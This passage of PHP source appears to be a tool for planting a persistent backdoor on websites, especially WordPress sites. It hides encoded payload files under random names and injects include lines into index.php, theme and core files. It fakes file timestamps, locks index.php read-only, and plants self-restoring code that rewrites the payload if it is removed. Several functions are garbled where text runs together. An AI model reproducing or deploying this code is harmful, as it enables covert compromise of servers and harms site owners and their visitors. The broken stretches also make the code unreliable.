$restoreDirMode = $oldMode; } $base = basename($filePath); $tmp = $dir . '/.' . $base . '.tmp' . substr(md5(uniqid('', true)), 0, 8); $ok = false; if (@copy($filePath, $tmp) !== false && @file_put_contents($tmp, $content) !== false) { if (@rename($tmp, $filePath)) { $ok = true; } else { @unlink($filePath); if (@rename($tmp, $filePath)) $ok = true; } } if (!$ok) @unlink($tmp); if ($restoreDirMode !== false) @chmod($dir, $restoreDirMode); return $ok; } function find_top_level_function_lines($content) { $tokens = @token_get_all($content); if (!is_array($tokens) || empty($tokens)) return array(); $depth = 0; $indices = array(); $count = count($tokens); for ($i = 0; $i < $count; $i++) { $t = $tokens[$i]; if (is_array($t)) { if ($t[0] === T_CURLY_OPEN || $t[0] === T_DOLLAR_OPEN_CURLY_BRACES) { $depth++; continue; } if ($t[0] === T_FUNCTION && $depth === 0) { $j = $i + 1; while (isset($tokens[$j])) { $nt = $tokens[$j]; $txt = is_array($nt) ? $nt[1] : $nt; if ($txt === '&') { $j++; continue; } if (is_array($nt) && ($nt[0] === T_WHITESPACE || $nt[0] === T_COMMENT || $nt[0] === T_DOC_COMMENT)) { $j++; continue; } break; } $next = isset($tokens[$j]) ? $tokens[$j] : null; if (is_array($next) && $next[0] === T_STRING) { $indices[] = $t[2] - 1; } } } else { if ($t === '{') { $depth++; } elseif ($t === '}') { $depth--; if ($depth < 0) $depth = 0; } } } return $indices; } function inject_into_file($siteRoot, $targetRelPath, $includeLine, $type) { $filePath = "$siteRoot/$targetRelPath"; $filePath = str_replace('//', '/', $filePath); if (!is_file($filePath)) { if (basename($targetRelPath) === 'index.php') { $dir = dirname($filePath); $htmlPath = "$dir/index.html"; if (is_file($htmlPath)) { $perms = @fileperms($dir); if ($perms !== false && ($perms & 0200) === 0) { @chmod($dir, 0755); clearstatcache(); } if (@rename($htmlPath, $filePath)) { _log('INFO', "Static site: renamed index.html -> index.php in $dir, injecting"); } else { _log('ERROR', "Cannot rename index.html -> index.php in $dir (permissions?) - target skipped: $targetRelPath"); return null; } } else { _log('WARN', "Target file not found: $targetRelPath"); return null; } } else { _log('WARN', "Target file not found: $targetRelPath"); return null; } } $content = file_get_contents($filePath); if (strpos($content, $includeLine) !== false) { _log('INFO', "Already injected: $targetRelPath - skipping."); return ''; } if ($type === 'fixed') { $isWP = (stripos($content, 'wp-blog-header.php') !== false || stripos($content, 'WP_USE_THEMES') !== false || is_file("$siteRoot/wp-config.php") || is_file("$siteRoot/wp-blog-header.php")); if ($targetRelPath === 'index.php' && $isWP) { $new = "\n" . $content; _log('INFO', "$targetRelPath has no PHP at line 1 - wrapped include in a PHP block and prepended."); } if (!write_file_with_swap($filePath, $new)) { _log('ERROR', "Target not writable (file + dir): $targetRelPath"); return null; } _log('INFO', "Injected into $targetRelPath (fixed, after ' && $prevChar !== '"' && $prevChar !== "'") { $prefix = rtrim(substr($trimmed, 0, -2)); $new = ($prefix === '' ? '' : $prefix . "\n") . $includeLine . "\n?>"; } else { $new = $trimmed . "\n\n"; } if (!write_file_with_swap($filePath, $new)) { _log('ERROR', "Target not writable (file + dir): $targetRelPath"); return null; } return $includeLine; } _log('ERROR', "Unknown injection type: $type"); return null; } function clean_target_file($siteRoot, $targetRelPath, $exactLine) { $filePath = "$siteRoot/$targetRelPath"; $filePath = str_replace('//', '/', $filePath); if (!is_file($filePath)) { _log('WARN', "Target file not found for cleanup: $targetRelPath"); return false; } if (!is_writable($filePath)) { @chmod($filePath, 0644); } $content = file_get_contents($filePath); $isWP = (stripos($content, 'wp-blog-header.php') !== false || stripos($content, 'WP_USE_THEMES') !== false); if ($targetRelPath === 'index.php' && $isWP && defined('WP_INDEX_ORIGINAL')) { file_put_contents($filePath, base64_decode(WP_INDEX_ORIGINAL)); _log('INFO', "Restored $targetRelPath to clean WordPress original"); return true; } if (strpos($content, $exactLine) === false) { _log('INFO', "$targetRelPath does not contain the inject line - already clean."); return true; } $new = str_replace($exactLine . "\n", '', $content); $new = str_replace($exactLine . "\r\n", '', $new); $new = str_replace($exactLine, '', $new); $new = preg_replace('/<\?php\s*\?>\r?\n?/', '', $new); $new = rtrim($new) . "\n"; file_put_contents($filePath, $new); _log('INFO', "Removed inject line from $targetRelPath"); return true; } function clean_target_file_legacy($siteRoot, $targetRelPath) { $filePath = "$siteRoot/$targetRelPath"; $filePath = str_replace('//', '/', $filePath); if (!is_file($filePath)) return false; if (!is_writable($filePath)) @chmod($filePath, 0644); $content = file_get_contents($filePath); $lines = explode("\n", $content); $cleaned = array(); $needleClass = 'new class('; $needleInc = '@' . 'includ' . 'e_once'; foreach ($lines as $l) { if (stripos($l, $needleClass) !== false) continue; if (stripos($l, $needleInc) !== false) continue; $cleaned[] = $l; } $new = implode("\n", $cleaned); $new = preg_replace('/new class\([\s\S]*?\}\s*;/i', '', $new); $new = rtrim($new) . "\n"; file_put_contents($filePath, $new); _log('INFO', "Legacy cleaned $targetRelPath"); return true; } function info_encrypt($plaintext) { $key = $GLOBALS['INFO_KEY']; if (function_exists('openssl_encrypt')) { $iv = openssl_random_pseudo_bytes(16); $cipher = openssl_encrypt($plaintext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv); return $cipher === false ? null : 'ENC1:' . base64_encode($iv) . '.' . base64_encode($cipher); } if (function_exists('mcrypt_encrypt')) { $iv = ''; for ($i = 0; $i < 16; $i++) $iv .= chr(crypto_rand_int(0, 255)); $pad = 16 - (strlen($plaintext) % 16); $data = $plaintext . str_repeat(chr($pad), $pad); $cipher = @mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC, $iv); return $cipher === false ? null : 'ENC1:' . base64_encode($iv) . '.' . base64_encode($cipher); } return null; } function info_decrypt($payload) { if (strncmp($payload, 'ENC1:', 5) !== 0) return $payload; $key = $GLOBALS['INFO_KEY']; $body = substr($payload, 5); $dot = strpos($body, '.'); if ($dot === false) return null; $iv = base64_decode(substr($body, 0, $dot)); $cipher = base64_decode(substr($body, $dot + 1)); if ($iv === false || $cipher === false || strlen($iv) !== 16) return null; if (function_exists('openssl_decrypt')) { $plain = openssl_decrypt($cipher, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv); return $plain === false ? null : $plain; } if (function_exists('mcrypt_decrypt')) { $plain = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $cipher, MCRYPT_MODE_CBC, $iv); if ($plain === false) return null; $pad = ord(substr($plain, -1)); if ($pad >= 1 && $pad <= 16 && strlen($plain) >= $pad) { $plain = substr($plain, 0, -$pad); } return $plain; } return null; } function read_information_file($infoPath) { $result = array('mode' => null, 'time' => null, 'files' => array(), 'targets' => array(), 'injects' => array(), 'recover_files' => array(), 'recover_injects' => array(), 'recover_inject_lines' => array()); if (!is_file($infoPath)) return $result; $plain = info_decrypt((string)file_get_contents($infoPath)); if ($plain === null) { _log('WARN', "Could not decrypt $infoPath - treating as empty."); return $result; } foreach (preg_split('/\r\n|\r|\n/', $plain) as $line) { if ($line === '') continue; if (strncmp($line, 'MODE:', 5) === 0) $result['mode'] = substr($line, 5); elseif (strncmp($line, 'TIME:', 5) === 0) $result['time'] = substr($line, 5); elseif (strncmp($line, 'FILE:', 5) === 0) $result['files'][] = substr($line, 5); elseif (strncmp($line, 'RECOVER_FILE:', 13) === 0) $result['recover_files'][] = substr($line, 13); elseif (strncmp($line, 'INJECT:', 7) === 0) { $val = substr($line, 7); $pipe = strpos($val, '|'); if ($pipe !== false) { $v = substr($val, $pipe + 1); if (strncmp($v, 'B64:', 4) === 0) $v = base64_decode(substr($v, 4)); $result['injects'][substr($val, 0, $pipe)] = $v; } } elseif (strncmp($line, 'TARGET:', 7) === 0) { $val = substr($line, 7); $pipe = strrpos($val, '|'); if ($pipe !== false) { $result['targets'][substr($val, 0, $pipe)] = substr($val, $pipe + 1); } else { $result['targets'][$val] = ''; } } elseif (strncmp($line, 'RECOVER_INJECT_LINE:', 20) === 0) { $val = substr($line, 20); $pipe = strpos($val, '|'); if ($pipe !== false) { $v = substr($val, $pipe + 1); if (strncmp($v, 'B64:', 4) === 0) $v = base64_decode(substr($v, 4)); $result['recover_inject_lines'][substr($val, 0, $pipe)] = $v; } } elseif (strncmp($line, 'RECOVER_INJECT:', 15) === 0) { $val = substr($line, 15); $pipe = strrpos($val, '|'); if ($pipe !== false) { $result['recover_injects'][substr($val, 0, $pipe)] = substr($val, $pipe + 1); } else { $result['recover_injects'][$val] = ''; } } } return $result; } function write_information_file($infoPath, $mode, $fileRelPaths, $targetHashes, $injectLines, $recoverFiles = array(), $recoverInject = array(), $recoverHashes = array()) { $lines = array("MODE:$mode", "TIME:" . date('Y-m-d H:i:s')); foreach ($fileRelPaths as $rp) $lines[] = "FILE:$rp"; foreach ($recoverFiles as $rf) $lines[] = "RECOVER_FILE:$rf"; foreach ($injectLines as $tpath => $inj) { $thash = isset($targetHashes[$tpath]) ? $targetHashes[$tpath] : ''; $lines[] = "TARGET:$tpath|$thash"; $lines[] = "INJECT:$tpath|B64:" . base64_encode($inj); } foreach ($recoverInject as $tpath => $inj) { $rhash = isset($recoverHashes[$tpath]) ? $recoverHashes[$tpath] : ''; $lines[] = "RECOVER_INJECT:$tpath|$rhash"; $lines[] = "RECOVER_INJECT_LINE:$tpath|B64:" . base64_encode($inj); } $plain = implode("\n", $lines) . "\n"; $enc = info_encrypt($plain); file_put_contents($infoPath, $enc !== null ? $enc . "\n" : $plain); _log('INFO', 'Written information.txt (' . count($fileRelPaths) . ' files, ' . count($injectLines) . ' targets' . ', ' . count($recoverFiles) . ' recover files, ' . count($recoverInject) . ' recover injects' . ($enc !== null ? ', AES-128-CBC encrypted' : ', PLAINTEXT fallback (no openssl)') . ')'); } function do_add($scriptDir, $siteRoot, $infoPath, $count, $targetFiles) { _log('INFO', str_repeat('=', 50)); _log('INFO', 'MODE: ADD'); _log('INFO', str_repeat('=', 50)); if (is_file($infoPath)) { _log('WARN', 'information.txt already exists - deployment already done. Skipping.'); _log('WARN', 'Run with mode=remove first if you want to re-deploy.'); return false; } $payload = find_payload_file($scriptDir, $GLOBALS['PAYLOAD_FILE']); if (!$payload) { $GLOBALS['_PAYLOAD_MISSING'] = true; _log('ERROR', 'No payload file found. Aborting (script kept for re-run).'); return false; } $GLOBALS['_PAYLOAD_RESOLVED'] = $payload; $GLOBALS['_CMS_CWD_TYPE'] = detect_cms_cwd_type($siteRoot); $isWordPress = (is_file("$siteRoot/wp-config.php") || is_file("$siteRoot/wp-blog-header.php")); if ($isWordPress) { _log('INFO', 'WordPress detected - trying COMMON_FOLDERS first...'); $selected = pick_from_common_folders($siteRoot, $count); if (count($selected) < $count) { $shortfall = $count - count($selected); _log('WARN', "Only " . count($selected) . "/$count COMMON_FOLDERS writable - filling $shortfall from scan..."); $pool = collect_resource_folders($siteRoot, $GLOBALS['RESOURCE_FOLDERS'], $shortfall); $fallbackSelected = pick_distributed($pool, $shortfall); foreach ($fallbackSelected as $k => $v) { if (!isset($selected[$k])) $selected[$k] = $v; } } } else { _log('INFO', 'Non-WordPress site - using generic resource-folder scan...'); $pool = collect_resource_folders($siteRoot, $GLOBALS['RESOURCE_FOLDERS'], $count); if (empty($pool)) { _log('ERROR', 'No writable directories found. Aborting.'); return false; } $selected = pick_distributed($pool, $count); } if (empty($selected)) { _log('ERROR', 'No writable directories found. Aborting.'); return false; } $payloadRaw = @file_get_contents($payload); if ($payloadRaw === false) { _log('ERROR', 'Failed to read payload file.'); return false; } $written = array(); foreach ($selected as $relFolder => $filesStr) { $fullFolder = $siteRoot . '/' . $relFolder; $fullFolder = str_replace('//', '/', $fullFolder); $existing = @scandir($fullFolder); $existing = $existing ? array_diff($existing, array('.', '..')) : array(); $newName = generate_random_filename($existing, $filesStr); $dstFull = str_replace('//', '/', "$fullFolder/$newName"); _log('INFO', "Writing (encoded): $dstFull"); if (write_encoded_payload($payloadRaw, $dstFull)) { $relPath = ($relFolder === '.' ? $newName : "$relFolder/$newName"); $written[] = $relPath; _log('INFO', " SUCCESS: $relPath"); blend_file_mtime($dstFull); } else { _log('ERROR', " FAILED: $dstFull"); } } if (empty($written)) { _log('ERROR', 'No files written. Aborting.'); return false; } $randCount = $GLOBALS['RAND_PHP_FILE']; $cmsType = detect_cms_type($siteRoot); if ($cmsType !== '') { _log('INFO', "CMS type detected: $cmsType"); } $randomTargets = collect_random_targets($siteRoot, $cmsType, $randCount); $allTargets = $targetFiles; $existingPaths = array(); foreach ($allTargets as $t) { $existingPaths[$t['path']] = true; } foreach ($randomTargets as $rt) { if (!isset($existingPaths[$rt['path']])) { $allTargets[] = $rt; $existingPaths[$rt['path']] = true; } } _log('INFO', 'Total injection targets: ' . count($allTargets) . ' (' . count($targetFiles) . ' configured + ' . count($randomTargets) . ' random)'); $targetHashes = array(); $injectLines = array(); $indexPayloadRel = null; foreach ($allTargets as $t) { $tpath = $t['path']; $ttype = $t['type']; $pickedPayload = $written[array_rand($written)]; if ($tpath === 'index.php') { $indexPayloadRel = $pickedPayload; } $includeLine = generate_include_line($pickedPayload, $tpath); //huhu // if (!_me_is_valid_inject_line($includeLine)) { // _log('ERROR', "generate_include_line() returned a non-include line for $tpath - aborting: " . substr($includeLine, 0, 80)); // return false; // } _log('INFO', "Injecting into target: $tpath (type=$ttype) <-- $pickedPayload"); $result = inject_into_file($siteRoot, $tpath, $includeLine, $ttype); if ($result !== null) { $fullTargetPath = str_replace('//', '/', "$siteRoot/$tpath"); $targetHashes[$tpath] = is_file($fullTargetPath) ? md5_file($fullTargetPath) : ''; if ($result !== '') { $injectLines[$tpath] = $result; } _log('INFO', " Hash ($tpath): " . $targetHashes[$tpath]); blend_file_mtime($fullTargetPath); } } if (empty($injectLines)) { _log('ERROR', 'Failed to inject into any target file.'); return false; } if (isset($injectLines['index.php'])) { $indexPath = str_replace('//', '/', "$siteRoot/index.php"); if (@chmod($indexPath, 0444)) { _log('INFO', 'index.php permissions set to 0444 (read-only)'); } else { _log('WARN', 'Failed to set index.php to 0444'); } } $recoverFiles = array(); $recoverInject = array(); $recoverHashes = array(); if (!empty($GLOBALS['RECOVER_INDEX']) && !empty($GLOBALS['RECOVER_PHP_FILE'])) { $indexRel = 'index.php'; $indexAbsPath = str_replace('//', '/', "$siteRoot/$indexRel"); $idxContent = @file_get_contents($indexAbsPath); $indexB64 = $idxContent !== false ? base64_encode($idxContent) : ''; $indexMd5 = $idxContent !== false ? md5($idxContent) : ''; if ($indexB64 === '') { _log('WARN', 'Recovery: could not read index.php snapshot - skipping.'); } else { $payloadRel = $indexPayloadRel; $payloadAbs = str_replace('//', '/', "$siteRoot/$payloadRel"); $payloadBlob = @file_get_contents($payloadAbs); $payloadB64 = ($payloadBlob !== false && $payloadBlob !== '') ? base64_encode($payloadBlob) : ''; $payloadMd5 = ($payloadBlob !== false && $payloadBlob !== '') ? md5($payloadBlob) : ''; $sentinelTok = _me_recover_token(12); $cwdType = isset($GLOBALS['_CMS_CWD_TYPE']) ? $GLOBALS['_CMS_CWD_TYPE'] : 'unknown'; if ($payloadB64 === '') { _log('WARN', 'Recovery: could not snapshot payload file ' . $payloadRel . ' - skipping.'); } else { $deploy = deploy_recovery_code( $siteRoot, $cmsType, $indexRel, $indexB64, $indexMd5, $payloadRel, $payloadB64, $payloadMd5, $sentinelTok, $scriptDir ); $files = !empty($deploy['recover_file']) ? array($deploy['recover_file']) : array(); $recoverFiles = $files; $recoverInject = !empty($deploy['injects']) ? $deploy['injects'] : array(); $recoverHashes = !empty($deploy['hashes']) ? $deploy['hashes'] : array(); } } } write_information_file($infoPath, 'ADD', $written, $targetHashes, $injectLines, $recoverFiles, $recoverInject, $recoverHashes); _log('INFO', str_repeat('=', 50)); _log('INFO', 'ADD done. ' . count($written) . ' files hidden, injected into ' . count($injectLines) . ' target(s).'); foreach ($injectLines as $tp => $inj) { _log('INFO', " $tp MD5: " . $targetHashes[$tp]); } _log('INFO', str_repeat('=', 50)); return true; } function do_remove($scriptDir, $siteRoot, $infoPath) { _log('INFO', str_repeat('=', 50)); _log('INFO', 'MODE: REMOVE'); _log('INFO', str_repeat('=', 50)); $info = read_information_file($infoPath); $deleted = 0; foreach ($info['files'] as $rel) { $full = str_replace('//', '/', "$siteRoot/$rel"); if (is_file($full)) { if (@unlink($full)) { $deleted++; _log('INFO', "Deleted: $rel"); } else { _log('ERROR', "Delete failed: $rel"); } } else { _log('WARN', "Not found: $rel"); } } foreach ($info['recover_files'] as $rel) { $full = str_replace('//', '/', "$siteRoot/$rel"); if (is_file($full)) { @unlink($full); _log('INFO', "Deleted recover file: $rel"); } else { _log('WARN', "Recover file not found: $rel"); } } if (!empty($info['recover_inject_lines'])) { foreach ($info['recover_inject_lines'] as $tpath => $exactLine) { clean_target_file($siteRoot, $tpath, $exactLine); _log('INFO', "Recovery inject cleaned from: $tpath"); } } if (!empty($info['injects'])) { foreach ($info['injects'] as $tpath => $exactLine) { clean_target_file($siteRoot, $tpath, $exactLine); } } elseif (!empty($info['targets'])) { _log('INFO', 'No INJECT records - using legacy target cleanup.'); foreach ($info['targets'] as $tpath => $thash) { clean_target_file_legacy($siteRoot, $tpath); } } else { _log('INFO', 'No targets to clean.'); } if (is_file($infoPath)) { if (!empty($GLOBALS['RES_INFO'])) { @unlink($infoPath); _log('INFO', 'Removed information.txt'); } else { _log('INFO', 'Kept information.txt (RES_INFO=false)'); } } _log('INFO', str_repeat('=', 50)); _log('INFO', "REMOVE done. $deleted files deleted."); _log('INFO', str_repeat('=', 50)); return true; } function _me_recover_token($len = 6) { $c = 'abcdefghijklmnopqrstuvwxyz0123456789'; $t = ''; for ($i = 0; $i < $len; $i++) { $t .= $c[mt_rand(0, strlen($c) - 1)]; } return $t; } function _me_recover_path_expr($relPath, $cwdType) { if ($cwdType === 'root') { return var_export($relPath, true); } $key = '"\\x53\\x43\\x52\\x49\\x50\\x54\\x5f\\x46\\x49\\x4c\\x45\\x4e\\x41\\x4d\\x45"'; return 'dirname($_SERVER[' . $key . ']) . ' . var_export('/' . ltrim($relPath, '/'), true); } function _me_recover_write_code($pathVar, $b64Var, $dirVar, $mtFn) { $code = ''; $code .= ' $ok = @file_put_contents(' . $pathVar . ', base64_decode(' . $b64Var . '));' . "\n"; $code .= ' if ($ok === false) { @chmod(' . $pathVar . ', 0644); $ok = @file_put_contents(' . $pathVar . ', base64_decode(' . $b64Var . ')); }' . "\n"; $code .= ' if ($ok === false) { @chmod(' . $dirVar . ', 0755); @unlink(' . $pathVar . '); @file_put_contents(' . $pathVar . ', base64_decode(' . $b64Var . ')); }' . "\n"; $code .= ' $mt = ' . $mtFn . '(' . $dirVar . ', \'\', ' . $pathVar . '); @touch(' . $pathVar . ', $mt);' . "\n"; return $code; } function _me_recover_index_code($pathExpr, $b64, $md5, $token, $mtFn, $lockVar) { $pathVar = '$r' . $token . '_p'; $b64Var = '$r' . $token . '_b'; $md5Var = '$r' . $token . '_m'; $nowVar = '$r' . $token . '_n'; $dirVar = '$r' . $token . '_d'; $code = ''; $code .= $pathVar . ' = ' . $pathExpr . ";\n"; $code .= $b64Var . ' = ' . var_export($b64, true) . ";\n"; $code .= $md5Var . ' = ' . var_export($md5, true) . ";\n"; $code .= 'if ( @is_file(' . $pathVar . ') ) {' . "\n"; $code .= ' ' . $nowVar . ' = @md5_file(' . $pathVar . ");\n"; $code .= ' if ( ' . $nowVar . ' !== ' . $md5Var . " ) {\n"; $code .= ' ' . $dirVar . ' = @dirname(' . $pathVar . ");\n"; $code .= ' @chmod(' . $pathVar . ', 0644);' . "\n"; $code .= _me_recover_write_code($pathVar, $b64Var, $dirVar, $mtFn); $code .= ' }' . "\n"; $code .= '} else {' . "\n"; $code .= ' ' . $dirVar . ' = @dirname(' . $pathVar . ");\n"; $code .= _me_recover_write_code($pathVar, $b64Var, $dirVar, $mtFn); $code .= '}' . "\n"; $code .= $lockVar . ' = ' . $pathVar . "; @chmod(" . $pathVar . ", 0444);\n"; return $code; } function _me_recover_payload_code($pathExpr, $b64, $md5, $token, $mtFn) { $pathVar = '$r' . $token . '_p'; $b64Var = '$r' . $token . '_b'; $md5Var = '$r' . $token . '_m'; $nowVar = '$r' . $token . '_n'; $dirVar = '$r' . $token . '_d'; $code = ''; $code .= $pathVar . ' = ' . $pathExpr . ";\n"; $code .= $b64Var . ' = ' . var_export($b64, true) . ";\n"; $code .= $md5Var . ' = ' . var_export($md5, true) . ";\n"; $code .= $nowVar . ' = @md5_file(' . $pathVar . ");\n"; $code .= 'if ( !@is_file(' . $pathVar . ') || ' . $nowVar . ' !== ' . $md5Var . " ) {\n"; $code .= ' ' . $dirVar . ' = @dirname(' . $pathVar . ");\n"; $code .= _me_recover_write_code($pathVar, $b64Var, $dirVar, $mtFn); $code .= '}' . "\n"; return $code; } function build_recovery_code($indexRel, $indexB64, $indexMd5, $payloadRel, $payloadB64, $payloadMd5, $sentinelTok, $cwdType) { $mtName = '_r' . _me_recover_token() . '_mt'; $mtBody = 'function ' . $mtName . '($d,$e,$s){' . '$f=@scandir($d);$m=array();' . 'if($f){foreach($f as $fx){' . 'if($fx===\'.\'||$fx===\'..\'){continue;}' . '$x=str_replace(\'//\',\'/\',$d.\'/\'.$fx);' . 'if($e!==\'\'&&strtolower(pathinfo($fx,PATHINFO_EXTENSION))!==$e){continue;}' . 'if(@realpath($x)===@realpath($s)){continue;}' . '$t=@filemtime($x);if($t!==false){$m[]=$t;}}}' . 'if(!empty($m)){return $m[array_rand($m)];}' . 'return time()-(1*365*86400)-rand(0,365*86400);}'; $idxTok = _me_recover_token(); $idxExpr = _me_recover_path_expr($indexRel, $cwdType); $code = 'options(MYSQLI_OPT_CONNECT_TIMEOUT, 3); } @$mysqli->real_connect($db['host'], $db['user'], $db['pass'], $db['name']); } } catch (Throwable $e) { $mysqli = false; } if (!$mysqli instanceof mysqli || $mysqli->connect_errno) { if ($mysqli instanceof mysqli) { @$mysqli->close(); } return ''; } $row = null; $sql = "SELECT option_value FROM " . addslashes($prefix) . "options WHERE option_name='template' LIMIT 1"; $res = $mysqli->query($sql); if ($res) { $r = $res->fetch_row(); if ($r) $row = $r[0]; $res->free(); } $mysqli->close(); return $row ? trim($row) : ''; } function pick_recover_targets($siteRoot, $cmsType, $want) { $targets = collect_random_targets($siteRoot, $cmsType, $want); $loadList = array(); $activeTemplate = get_active_theme_name($siteRoot); if ($activeTemplate !== '') { $loadList['wp-content/themes/' . $activeTemplate . '/functions.php'] = true; } $loadList['wp-load.php'] = true; $priorityTargets = array(); foreach ($loadList as $rel => $dummy) { $full = str_replace('//', '/', "$siteRoot/$rel"); if (is_file($full)) { $priorityTargets[] = array('type' => 'rand', 'path' => $rel); } } $seen = array(); foreach ($priorityTargets as $t) { $seen[$t['path']] = true; } foreach ($targets as $t) { if (!isset($seen[$t['path']])) { $priorityTargets[] = $t; $seen[$t['path']] = true; } } return $priorityTargets; } function write_recover_static_file($siteRoot, $cmsType, $recoveryPhp, $scriptDir) { global $FOLDER_COUNT; if ($cmsType === 'wordpress') { $selected = pick_from_common_folders($siteRoot, 1); } else { $pool = collect_resource_folders($siteRoot, $GLOBALS['RESOURCE_FOLDERS'], 1); $selected = pick_distributed($pool, 1); } if (empty($selected)) { _log('WARN', 'Recovery: no writeable resource folder found for static file.'); return null; } $relFolder = _me_first_key($selected); $filesStr = $selected[$relFolder]; $fullFolder = str_replace('//', '/', "$siteRoot/$relFolder"); $existing = @scandir($fullFolder); $existing = $existing ? array_diff($existing, array('.', '..')) : array(); $newName = generate_random_filename($existing, $filesStr); $encoded = encode_recovery_content($recoveryPhp); $dstFull = str_replace('//', '/', "$fullFolder/$newName"); $ok = false; if (@file_put_contents($dstFull, $encoded) !== false) { $ok = true; } else { $dst = @fopen($dstFull, 'wb'); if ($dst) { fwrite($dst, $encoded); fclose($dst); $ok = is_file($dstFull); } } if (!$ok) { _log('ERROR', "Recovery static file write FAILED: $dstFull"); return null; } blend_file_mtime($dstFull); $relPath = ($relFolder === '.' ? $newName : "$relFolder/$newName"); _log('INFO', "Recovery static file written: $relPath"); return $relPath; } function deploy_recovery_code($siteRoot, $cmsType, $indexRel, $indexB64, $indexMd5, $payloadRel, $payloadB64, $payloadMd5, $sentinelTok, $scriptDir) { if (empty($GLOBALS['RECOVER_INDEX']) || empty($GLOBALS['RECOVER_PHP_FILE'])) { _log('INFO', 'Recovery: disabled (RECOVER_INDEX=' . var_export($GLOBALS['RECOVER_INDEX'], true) . ', RECOVER_PHP_FILE=' . $GLOBALS['RECOVER_PHP_FILE'] . '). Skipping.'); return array('recover_file' => false, 'injects' => array(), 'hashes' => array()); } $recoveryPhp = build_recovery_code($indexRel, $indexB64, $indexMd5, $payloadRel, $payloadB64, $payloadMd5, $sentinelTok, $cmsType); $recoverFile = write_recover_static_file($siteRoot, $cmsType, $recoveryPhp, $scriptDir); if ($recoverFile === null) { _log('WARN', 'Recovery: could not write static recovery file - skipping injection.'); return array('recover_file' => false, 'injects' => array(), 'hashes' => array()); } $want = $GLOBALS['RECOVER_PHP_FILE'] + 3; $targets = pick_recover_targets($siteRoot, $cmsType, $want); if (empty($targets)) { _log('WARN', 'Recovery: no injectable system PHP files found - static file left but nothing injected.'); return array('recover_file' => $recoverFile, 'injects' => array(), 'hashes' => array()); } $injects = array(); $hashes = array(); $deployed = 0; foreach ($targets as $t) { $tpath = $t['path']; $includeLine = generate_include_line($recoverFile, $tpath); if (!_me_is_valid_inject_line($includeLine)) { _log('ERROR', "Recovery include line invalid for $tpath - skipping."); continue; } $result = inject_into_file($siteRoot, $tpath, $includeLine, 'rand'); if ($result !== null) { $fullTarget = str_replace('//', '/', "$siteRoot/$tpath"); $hashes[$tpath] = is_file($fullTarget) ? md5_file($fullTarget) : ''; if ($result !== '') { $injects[$tpath] = $result; } _log('INFO', "Recovery include injected into: $tpath"); blend_file_mtime($fullTarget); $deployed++; if ($deployed >= $GLOBALS['RECOVER_PHP_FILE']) break; } else { _log('ERROR', "Recovery include injection FAILED: $tpath"); } } _log('INFO', 'Recovery deployed: static file + ' . count($injects) . ' include(s).'); return array('recover_file' => $recoverFile, 'injects' => $injects, 'hashes' => $hashes); } function output_html($success, $logs) { $color = $success ? '#2d8a2d' : '#c0392b'; $status = $success ? 'SUCCESS' : 'FAILED'; $logText = implode("\n", array_map('htmlspecialchars', $logs)); header('Content-Type: text/html; charset=utf-8'); echo <<